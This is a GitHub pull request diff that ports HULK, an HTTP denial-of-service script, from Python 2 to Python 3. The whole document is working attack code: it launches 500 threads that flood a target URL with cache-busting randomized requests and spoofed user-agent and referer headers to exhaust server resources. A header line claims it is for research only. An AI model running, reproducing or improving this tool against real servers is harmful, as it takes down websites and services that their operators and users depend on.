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Update hulk.py to python3 #51

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262 changes: 134 additions & 128 deletions hulk.py
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Original file line number Diff line number Diff line change
@@ -1,155 +1,161 @@
# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author : Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import urllib.request
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0
# global params
url = ''
host = ''
headers_useragents = []
headers_referers = []
request_counter = 0
flag = 0
safe = 0


def inc_counter():
global request_counter
request_counter+=1
global request_counter
request_counter += 1


def set_flag(val):
global flag
flag=val
global flag
flag = val


def set_safe():
global safe
safe=1

global safe
safe = 1


# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
global headers_useragents
headers_useragents.append(
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append(
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append(
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append(
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append(
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append(
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append(
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return headers_useragents


# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)

#builds random ascii string
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return headers_referers


# builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return out_str


def usage():
print '---------------------------------------------------'
print 'USAGE: python hulk.py <url>'
print 'you can add "safe" after url, to autoshut after dos'
print '---------------------------------------------------'
print('---------------------------------------------------')
print('USAGE: python hulk.py <url>')
print('you can add "safe" after url, to autoshut after dos')
print('---------------------------------------------------')



#http request
# http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print 'Response Code 500'
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)


#http caller thread
useragent_list()
referer_list()
code = 0
if url.count("?") > 0:
param_joiner = "&"
else:
param_joiner = "?"
request = urllib.request.Request(url + param_joiner + buildblock(random.randint(3, 10)) + '=' + buildblock(
random.randint(3, 10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5, 10)))
request.add_header('Keep-Alive', random.randint(110, 120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host', host)
try:
urllib.request.urlopen(request)
except urllib.request.HTTPError as e:
set_flag(1)
print('Response Code 500')
code = 500
except urllib.request.URLError as e:
sys.exit()
else:
inc_counter()
urllib.request.urlopen(request)
return code


# http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass
def run(self):
try:
while flag < 2:
code = httpcall(url)
if code == 500 and safe == 1:
set_flag(2)
except Exception:
pass


# monitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
print "%d Requests Sent" % (request_counter)
previous=request_counter
if flag==2:
print "\n-- HULK Attack Finished --"

#execute
def run(self):
previous = request_counter
while flag == 0:
if previous + 100 < request_counter and previous != request_counter:
print("%d Requests Sent" % (request_counter))
previous = request_counter
if flag == 2:
print("\n-- HULK Attack Finished --")


# execute
if len(sys.argv) < 2:
usage()
sys.exit()
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "-- HULK Attack Started --"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('(https?\://)?([^/]*)/?.*', url)
host = m.group(2)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
if sys.argv[1] == "help":
usage()
sys.exit()
else:
print("-- HULK Attack Started --")
if len(sys.argv) == 3:
if sys.argv[2] == "safe":
set_safe()
url = sys.argv[1]
if url.count("/") == 2:
url = url + "/"
m = re.search('(https?://)?([^/]*)/?.*', url)
host = m.group(2)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()